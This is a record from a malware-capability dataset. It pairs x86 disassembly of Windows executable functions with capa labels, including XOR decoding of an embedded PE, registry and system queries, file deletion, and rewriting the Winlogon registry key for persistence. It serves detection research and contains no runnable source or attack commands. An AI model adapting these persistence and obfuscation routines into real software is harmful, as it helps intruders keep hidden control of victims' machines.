joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4afe03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x4aff24
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x4aff08
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x4afe5a
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x4afe38
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18

Function at 0x4b096c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4b09c3
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x4b09c3
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x4b09c3
xor eax, eax
inc eax
jmp 0x4b09c5
xor eax, eax
leave
ret 0x10
Function at 0x4b09ee
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x4b0a5c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x73de24
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4b0a53
cmp dword [ebp - 0xc], 4
jne 0x4b0a53
cmp dword [ebp - 0x10], edi
je 0x4b0a53
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x771fc8], edi
xor eax, eax
jmp 0x4b0a9b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x771fc8], edi
jge 0x4b0a96
lea eax, [ebp - 0x34]
push eax
mov dword [0x771fc8], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x4b0a96
cmp word [ebp - 0x14], 5
jb 0x4b0a96
call fcn.004b09c9
test eax, eax
je 0x4b0a96
emms
mov dword [0x771fc8], 1
mov eax, dword [0x771fc8]
pop edi
leave
ret

Function at 0x4c3868
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c38a0
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c18f5
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c18cd
jmp 0x4c38ac
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c4f5d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c4f9f
call fcn.004cb1fb
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c4f9f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c4f96
xor eax, eax
jmp 0x4c4fa7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c4fad
pop edi
pop esi
pop ebx
ret 4

Function at 0x4ca8e5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4ca913
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4ca931
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004ca84b
jmp 0x4ca931
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4ca931
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004ca84b
test edi, edi
mov eax, edi
jne 0x4ca91b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401700
Capabilities:
Access peb ldr_data
Get common file path
Get process heap flags

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push edi
xor edi, edi
lea ebx, [ebp + 0x80]
xor eax, eax
mov dword [esp + 0x10], edi
cmp word [ebx], di
jne 0x40183e
push esi
push edi
push str.SoftwareMicrosoftWindows_NTCurrentVersionDrivers32
push 0x80000002
mov eax, str.wave
call fcn.00500730
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401767
mov eax, dword [esi + 8]
lea ecx, [esi + 0xc]
shr eax, 1
push ecx
call fcn.004fef10
mov edx, dword fs:[0x18]
add esp, 4
mov edi, eax
mov eax, dword [edx + 0x30]
mov ecx, dword [eax + 0x18]
push esi
push 0
push ecx
call dword [sym.imp.Ntdll.dll_RtlFreeHeap]
test edi, edi
jne 0x40178a
push str.mixer
xor al, al
mov ecx, str.SoftwareMicrosoftWindows_NTCurrentVersionDrivers32
mov edx, 0x80000002
call fcn.00500a20
mov edi, eax
add esp, 4
test edi, edi
je 0x4017a3
lea edx, [ebp + 0x288]
mov eax, edi
sub edx, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401794
cmp word [0x9871d0], 0
jne 0x4017bd
push 0x103
push 0x9871d0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push 0x103
push 0x9871d0
push ebx
call fcn.00508148
add esp, 0xc
mov edx, ebx
mov esi, str.AvgTemp
call fcn.00418b90
lea esp, [esp]
movzx ecx, word [esi]
mov word [eax], cx
add esi, 2
add eax, 2
test cx, cx
jne 0x4017e0
push ebx
call fcn.004fd6c0
mov esi, eax
add esp, 4
test esi, esi
jne 0x401828
push str.registry_backup1.reg
push ebx
call fcn.00418cd0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40181b
mov esi, 0xe0010001
jmp 0x40182c
push ebx
call fcn.00501990
add esp, 4
mov esi, eax
jmp 0x40182c
mov ebx, dword [esp + 0x14]
push edi
call fcn.00507bce
push ebx
call fcn.00507bce
add esp, 8
mov eax, esi
pop esi
pop edi
pop ebp
pop ebx
ret
Function at 0x408cf0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x537218
mov eax, dword fs:[0]
push eax
sub esp, 0x50
push ebx
push esi
push edi
mov eax, dword [0x984164]
xor eax, esp
push eax
lea eax, [esp + 0x60]
mov dword fs:[0], eax
lea eax, [esp + 0x14]
push eax
call fcn.0041cfe0
mov dword [esp + 0x68], 0
push str.C:Documents_and_Settings_tazebama.dll
mov dword [esp + 0x2c], 1
call fcn.0041c0f0
add esp, 4
push 0
push 0x80
push 3
push 0
mov esi, eax
push 1
push 0x80100000
test esi, esi
je 0x408d71
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push esi
mov dword [esp + 0x30], eax
call fcn.00507bce
add esp, 4
jmp 0x408d80
push str.C:Documents_and_Settings_tazebama.dll
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [esp + 0x2c], eax
or edi, 0xffffffff
cmp dword [esp + 0x2c], edi
jne 0x408d9a
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.0041c040
test eax, eax
jne 0x408ded
lea esi, [esp + 0x14]
call fcn.00408c60
mov bl, al
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0x408db4
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esp + 0x2c], edi
test bl, bl
je 0x408ded
push str.C:Documents_and_Settings_tazebama.dll
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
jne 0x408ded
mov dword [esp + 0x68], edi
lea ecx, [esp + 0x14]
call fcn.0041d060
mov al, 1
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x68], edi
lea ecx, [esp + 0x14]
call fcn.0041d060
xor al, al
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411320
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x23c
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x234], eax
push esi
push edi
mov edi, dword [sym.imp.Ntdll.dll_RtlInitUnicodeString]
lea eax, [esp + 0x24]
xor esi, esi
push 0x92a224
mov ecx, eax
push ecx
mov dword [esp + 0x34], esi
mov dword [esp + 0x14], 0x18
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], 0x40
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call edi
push 0x10
push 3
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x18]
push eax
push 0x100080
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.Ntdll.dll_NtOpenFile]
test eax, eax
jl 0x4113d1
mov ecx, dword [esp + 8]
push 1
push 0x200
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.Ntdll.dll_NtQueryVolumeInformationFile]
test eax, eax
jl 0x4113c6
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov dword [ebx + 0x88], edx
mov dword [ebx + 0x8c], eax
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.Ntdll.dll_NtClose]
lea edx, [esp + 0x24]
push str.REGISTRYMachineSystemSetupPid
mov eax, edx
push eax
mov dword [esp + 0x14], 0x18
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], 0x40
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call edi
lea ecx, [esp + 0xc]
push ecx
push 1
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.Ntdll.dll_NtOpenKey]
test eax, eax
jl 0x411450
mov edx, dword [esp + 8]
lea eax, [esp + 0x2c]
push eax
push 0x18
lea ecx, [esp + 0x40]
push ecx
push esi
push edx
call dword [sym.imp.Ntdll.dll_NtQueryKey]
test eax, eax
jl 0x411445
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x84], ecx
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.Ntdll.dll_NtClose]
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
xor ecx, esp
call fcn.005078c8
add esp, 0x23c
ret

Function at 0x411620
Capabilities:
Get common file path

Disassembly:
sub esp, 0x6c
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x64], eax
push ebx
push esi
lea eax, [edi + 0x88]
push eax
lea esi, [esp + 0xc]
call fcn.004ff9a0
mov eax, dword [esp + 0x18]
xor eax, dword [esp + 0x14]
add esp, 4
xor eax, dword [esp + 0xc]
xor eax, dword [esp + 8]
mov ecx, eax
shr ecx, 8
movzx esi, cl
movzx edx, al
shl edx, 8
or esi, edx
mov ecx, eax
shr ecx, 0x10
movzx edx, cl
shl esi, 8
or esi, edx
mov ecx, eax
shr ecx, 0x18
not eax
shl esi, 8
push eax
or esi, ecx
push esi
push str._u:_u.exe
lea edx, [esp + 0x24]
call fcn.00401bb0
mov ebx, dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
add esp, 0xc
cmp word [0x9871d0], 0
jne 0x4116ab
push 0x103
push 0x9871d0
call ebx
lea edx, [esp + 0x18]
push edx
push 0x9871d0
xor eax, eax
call fcn.00418cd0
push esi
push 0x92a344
lea edx, [esp + 0x28]
mov dword [edi + 0xa0], eax
call fcn.00401bb0
add esp, 0x10
cmp word [0x9871d0], 0
jne 0x4116ea
push 0x103
push 0x9871d0
call ebx
lea eax, [esp + 0x18]
push eax
push 0x9871d0
xor eax, eax
call fcn.00418cd0
mov ecx, dword [esp + 0x74]
add esp, 8
pop esi
pop ebx
xor ecx, esp
mov dword [edi + 0xa4], eax
call fcn.005078c8
add esp, 0x6c
ret
Function at 0x4118a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xa0
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x98], eax
push esi
lea eax, [edi + 0x88]
push eax
lea esi, [esp + 0xc]
call fcn.004ff9a0
mov eax, dword [esp + 0x18]
xor eax, dword [esp + 0x14]
add esp, 4
xor eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
xor eax, dword [esp + 8]
mov ecx, eax
shr ecx, 0x10
not ecx
xor ecx, eax
and ecx, 0xffff
push ecx
push str._NtUninstallKB_u_
call fcn.00401bb0
add esp, 8
cmp word [0x9871d0], 0
jne 0x411913
push 0x103
push 0x9871d0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
lea edx, [esp + 0x18]
push edx
push edi
xor eax, eax
mov ecx, 0x9871d0
call fcn.00411770
mov ecx, dword [esp + 0xa4]
add esp, 8
pop esi
xor ecx, esp
call fcn.005078c8
add esp, 0xa0
ret

Function at 0x411940
Capabilities:
Get common file path

Disassembly:
sub esp, 0xa0
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x98], eax
push esi
lea eax, [edi + 0x88]
push eax
lea esi, [esp + 0xc]
call fcn.004ff9a0
mov eax, dword [esp + 0x18]
xor eax, dword [esp + 0x14]
add esp, 4
xor eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
xor eax, dword [esp + 8]
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
and ecx, 0xffff
push ecx
push str._NtUninstallKB_u_
call fcn.00401bb0
add esp, 8
cmp word [0x9871d0], 0
jne 0x4119b1
push 0x103
push 0x9871d0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
lea edx, [esp + 0x18]
push edx
push edi
xor eax, eax
mov ecx, 0x9871d0
call fcn.00411770
mov ecx, dword [esp + 0xa4]
add esp, 8
pop esi
xor ecx, esp
call fcn.005078c8
add esp, 0xa0
ret

Function at 0x4119e0
Capabilities:
Get common file path

Disassembly:
push ecx
cmp word [0x9871d0], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push esi
jne 0x4119ff
push 0x103
push 0x9871d0
call ebx
push str.assembly_tempU
push edi
xor eax, eax
mov ecx, 0x9871d0
call fcn.00411770
mov esi, eax
add esp, 8
test esi, esi
jne 0x411a4a
cmp word [0x9871d0], ax
jne 0x411a2f
push 0x103
push 0x9871d0
call ebx
push str.assembly_tmpU
push edi
xor eax, eax
mov ecx, 0x9871d0
call fcn.00411770
mov esi, eax
add esp, 8
test esi, esi
je 0x411a71
lea eax, [esi + 0x10]
push 0x5c
push eax
call fcn.00508605
add esp, 8
test eax, eax
je 0x411a71
mov ecx, eax
sub ecx, esi
sub ecx, 0x10
sar ecx, 1
xor edx, edx
mov dword [esi + 8], ecx
mov word [eax], dx
or dword [esi + 0xc], 1
pop esi
pop ebx
pop ecx
ret
Function at 0x411a80
Capabilities:
Get common file path

Disassembly:
sub esp, 0x118
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x114], eax
push ebx
push ebp
mov ebp, dword [esp + 0x124]
push esi
lea eax, [ebp + 0x88]
push edi
push eax
lea esi, [esp + 0x14]
call fcn.004ff9a0
movzx ecx, byte [esp + 0x23]
movzx edx, byte [esp + 0x22]
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x18]
add esp, 4
push ecx
push edx
movzx edx, byte [esp + 0x23]
mov edi, dword [esp + 0x18]
movzx eax, bh
push eax
movzx eax, byte [esp + 0x26]
movzx ecx, bl
push ecx
push edx
push eax
mov eax, dword [esp + 0x30]
movzx ecx, ah
push ecx
movzx edx, al
movzx eax, word [esp + 0x32]
push edx
push eax
movzx ecx, si
push ecx
push edi
push str._08x__04x__04x__02x_02x__02x_02x_02x_02x_02x_02x
lea edx, [esp + 0x50]
call fcn.00401bb0
xor esi, dword [esp + 0x48]
lea edx, [esp + 0xd0]
xor esi, ebx
xor esi, edi
push esi
push str._08x
call fcn.00401bb0
add esp, 0x38
mov edi, 0x1c
call fcn.004ff040
mov esi, eax
test esi, esi
je 0x411b9c
lea edx, [esp + 0xa0]
push edx
push ebp
xor eax, eax
mov ecx, esi
call fcn.00411770
add esp, 8
cmp word [0x9871d0], 0
jne 0x411b5f
push 0x103
push 0x9871d0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push 0x92a3ec
push ebp
lea eax, [esp + 0x28]
mov ecx, 0x9871d0
call fcn.00411770
lea eax, [esp + 0x28]
push eax
push ebp
xor eax, eax
mov ecx, esi
call fcn.00411770
push str.GoogleDesktopInstall
push ebp
lea eax, [esp + 0x38]
mov ecx, esi
call fcn.00411770
push esi
call fcn.00507bce
add esp, 0x1c
mov edi, 0x2a
call fcn.004ff040
mov esi, eax
test esi, esi
je 0x411bc6
push str.GoogleDesktopInstall
push ebp
lea eax, [esp + 0x28]
mov ecx, esi
call fcn.00411770
push esi
call fcn.00507bce
add esp, 0xc
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.005078c8
add esp, 0x118
ret

Function at 0x411be0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [edx]
xor ecx, 0x905a4d
cmp word [edx], 0xd
je 0x411c1d
cmp word [edx + 6], 0x3f
je 0x411c1d
xor eax, eax
xor dword [edx + eax*4], ecx
inc eax
rol ecx, 1
cmp eax, 0x10
jb 0x411bf7
mov eax, 0x5a4d
cmp word [edx], ax
jne 0x411c1d
cmp word [edx + 0x16], 0
jne 0x411c1d
cmp word [edx + 0x14], 0
jne 0x411c1d
mov al, 1
ret
xor al, al
ret
Function at 0x411cf0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10
mov eax, dword [ebx + 0x668]
mov ecx, dword [ebx + 0x654]
push ebp
xor dl, dl
push esi
push edi
mov dword [esp + 0x18], ecx
mov byte [esp + 0x13], dl
test eax, eax
je 0x411e43
mov ecx, dword [ecx + 0x9c]
test ecx, ecx
je 0x411e43
push ecx
push eax
call fcn.00507f2e
add esp, 8
test eax, eax
jne 0x411e38
cmp word [0x9873d8], ax
jne 0x411d4d
push 0x103
push 0x9873d8
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x92a400
push 0x9873d8
xor eax, eax
call fcn.00418cd0
mov esi, eax
add esp, 8
mov dword [esp + 0x14], esi
test esi, esi
je 0x411e38
mov eax, dword [ebx + 0x668]
push eax
call fcn.004fd9a0
add esp, 4
push esi
mov edi, eax
call fcn.004fd9a0
add esp, 4
mov ebp, eax
test edi, edi
je 0x411e2f
test ebp, ebp
je 0x411e2f
mov ecx, dword [edi]
cmp ecx, dword [ebp]
jne 0x411e19
mov edx, dword [edi + 4]
cmp edx, dword [ebp + 4]
jne 0x411e19
mov eax, ecx
lea ecx, [ebp + 0x10]
lea esi, [edi + 0x10]
cmp eax, 4
jb 0x411dcb
mov edx, dword [esi]
cmp edx, dword [ecx]
jne 0x411def
sub eax, 4
add ecx, 4
add esi, 4
cmp eax, 4
jae 0x411db7
test eax, eax
je 0x411e19
mov dl, byte [ecx]
cmp dl, byte [esi]
jne 0x411def
cmp eax, 1
jbe 0x411e19
mov dl, byte [ecx + 1]
cmp dl, byte [esi + 1]
jne 0x411def
cmp eax, 2
jbe 0x411e19
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
je 0x411e19
mov edx, dword [ebx]
mov eax, dword [ebx + 0x668]
mov edx, dword [edx + 0x14]
push ebp
push eax
mov ecx, ebx
call edx
mov eax, dword [esp + 0x18]
mov dword [eax + 0x30], 0x12
mov eax, dword [esp + 0x14]
call fcn.004fcc50
mov byte [esp + 0x13], 1
push ebp
call fcn.00507bce
add esp, 4
push edi
call fcn.00507bce
mov esi, dword [esp + 0x18]
add esp, 4
push esi
call fcn.00507bce
add esp, 4
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
add esp, 0x10
ret
pop edi
pop esi
mov al, dl
pop ebp
add esp, 0x10
ret
Function at 0x4130b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x248
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x240], eax
mov eax, dword [esi + 0x228]
push ebx
push ebp
push edi
xor edx, edx
xor ebx, ebx
xor ecx, ecx
xor edi, edi
test eax, eax
je 0x4130e4
cmp dword [eax + 0x5c], 1
jb 0x4130e4
mov eax, dword [eax + 0x68]
jmp 0x4130ff
mov eax, dword [esi + 0x22c]
test eax, eax
je 0x4132be
cmp dword [eax + 0x6c], 1
jb 0x4132be
mov eax, dword [eax + 0x78]
test eax, eax
je 0x4132be
xor edi, edi
add eax, dword [esi + 0x628]
adc edi, dword [esi + 0x62c]
mov ebp, eax
add ebp, 0x14
mov dword [esp + 0x24], edi
mov ebx, edi
mov dword [esp + 0x20], eax
mov edx, eax
mov dword [esp + 0x10], ebp
adc edi, ecx
lea esp, [esp]
mov ecx, edx
add ecx, 0x14
mov eax, ebx
adc eax, 0
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
cmp edi, eax
ja 0x413164
jb 0x41314c
cmp ebp, ecx
jae 0x413164
cmp eax, dword [esi + 0x63c]
ja 0x413164
jb 0x41315e
cmp ecx, dword [esi + 0x638]
jae 0x413164
mov dword [esp + 0x10], ecx
mov edi, eax
mov eax, dword [esi + 0x690]
lea ecx, [esp + 0x2c]
push ecx
push 0x14
push ebx
push edx
add eax, 0x7728
push eax
call fcn.00488950
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x38]
test eax, eax
je 0x4132b2
mov ecx, dword [esi + 0x640]
cmp eax, ecx
ja 0x4132b2
cmp dword [esp + 0x2c], ecx
ja 0x4132b2
cmp dword [esp + 0x3c], ecx
ja 0x4132b2
xor ebp, ebp
add eax, dword [esi + 0x628]
lea edx, [esp + 0x48]
adc ebp, dword [esi + 0x62c]
push edx
push 0x200
mov ebx, eax
mov eax, dword [esi + 0x690]
push ebp
push ebx
add eax, 0x7728
push eax
call fcn.00488950
mov dword [esp + 0x40], eax
test eax, eax
je 0x41322d
lea ecx, [esp + 0x48]
mov byte [esp + 0x247], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4131f4
xor eax, eax
sub ecx, edx
add ecx, ebx
adc eax, ebp
add ecx, 1
adc eax, 0
cmp edi, eax
ja 0x41322d
jb 0x413215
cmp dword [esp + 0x10], ecx
jae 0x41322d
cmp eax, dword [esi + 0x63c]
ja 0x41322d
jb 0x413227
cmp ecx, dword [esi + 0x638]
jae 0x41322d
mov dword [esp + 0x10], ecx
mov edi, eax
mov edx, dword [esi + 0x628]
mov ecx, dword [esp + 0x2c]
mov ebx, dword [esi + 0x62c]
xor eax, eax
add ecx, edx
adc eax, ebx
add ecx, 4
adc eax, 0
cmp edi, eax
ja 0x41326d
jb 0x413255
cmp dword [esp + 0x10], ecx
jae 0x41326d
cmp eax, dword [esi + 0x63c]
ja 0x41326d
jb 0x413267
cmp ecx, dword [esi + 0x638]
jae 0x41326d
mov dword [esp + 0x10], ecx
mov edi, eax
mov ecx, dword [esp + 0x3c]
xor eax, eax
add ecx, edx
adc eax, ebx
add ecx, 4
adc eax, 0
cmp edi, eax
ja 0x4132a1
jb 0x413289
cmp dword [esp + 0x10], ecx
jae 0x4132a1
cmp eax, dword [esi + 0x63c]
ja 0x4132a1
jb 0x41329b
cmp ecx, dword [esi + 0x638]
jae 0x4132a1
mov dword [esp + 0x10], ecx
mov edi, eax
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x10]
jmp 0x413130
mov ebx, dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x544], edi
pop edi
mov dword [esi + 0x540], ecx
mov ecx, dword [esp + 0x248]
pop ebp
mov dword [esi + 0x53c], ebx
pop ebx
xor ecx, esp
mov dword [esi + 0x538], edx
call fcn.005078c8
add esp, 0x248
ret
Function at 0x416560
Capabilities:
Access peb ldr_data
Get process heap flags
Persist via winlogon helper dll registry key

Disassembly:
sub esp, 0x218
mov eax, dword [0x984164]
xor eax, esp
mov dword [esp + 0x210], eax
cmp byte [ebx + 0x6e1], 0
push ebp
push esi
push edi
mov byte [esp + 0xf], 0
jne 0x4166ae
xor ebp, ebp
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov eax, 0x92bacc
call fcn.00500730
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4165d3
mov eax, dword [esi + 8]
lea ecx, [esi + 0xc]
shr eax, 1
push ecx
call fcn.004fef10
mov edx, dword fs:[0x18]
add esp, 4
mov ebp, eax
mov eax, dword [edx + 0x30]
mov ecx, dword [eax + 0x18]
push esi
push 0
push ecx
call dword [sym.imp.Ntdll.dll_RtlFreeHeap]
mov edi, ebp
mov esi, ebp
test ebp, ebp
je 0x4166ae
cmp word [ebp], 0
je 0x4166a5
movzx eax, word [esi]
xor ecx, ecx
cmp ax, 0x2c
je 0x416614
test ax, ax
je 0x41660e
add esi, 2
mov word [esp + ecx*2 + 0x10], ax
movzx eax, word [esi]
inc ecx
cmp ax, 0x2c
jne 0x4165f5
jmp 0x416614
cmp word [esi], 0x2c
jne 0x41661d
add esi, 2
cmp word [esi], 0x2c
je 0x416614
lea eax, [esp + 0x10]
push eax
xor edx, edx
push ebx
mov word [esp + ecx*2 + 0x18], dx
call fcn.00416140
mov ecx, dword [ebx + 0x654]
mov eax, dword [ecx + 0x30]
cmp eax, 0xd
je 0x416671
cmp eax, 5
je 0x416671
xor ecx, ecx
cmp word [esp + 0x10], cx
je 0x416664
lea eax, [esp + 0x10]
nop
mov dx, word [eax]
inc ecx
mov word [edi], dx
lea eax, [esp + ecx*2 + 0x10]
add edi, 2
cmp word [eax], 0
jne 0x416650
mov eax, 0x2c
mov word [edi], ax
add edi, 2
jmp 0x416676
mov byte [esp + 0xf], 1
cmp word [esi], 0
jne 0x4165ea
cmp byte [esp + 0xf], 0
je 0x4166a5
push 0x92bacc
xor ecx, ecx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov edx, ebp
mov word [edi], cx
call fcn.00500b20
add esp, 0xc
push ebp
call fcn.00507bce
add esp, 4
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
xor ecx, esp
xor eax, eax
call fcn.005078c8
add esp, 0x218
ret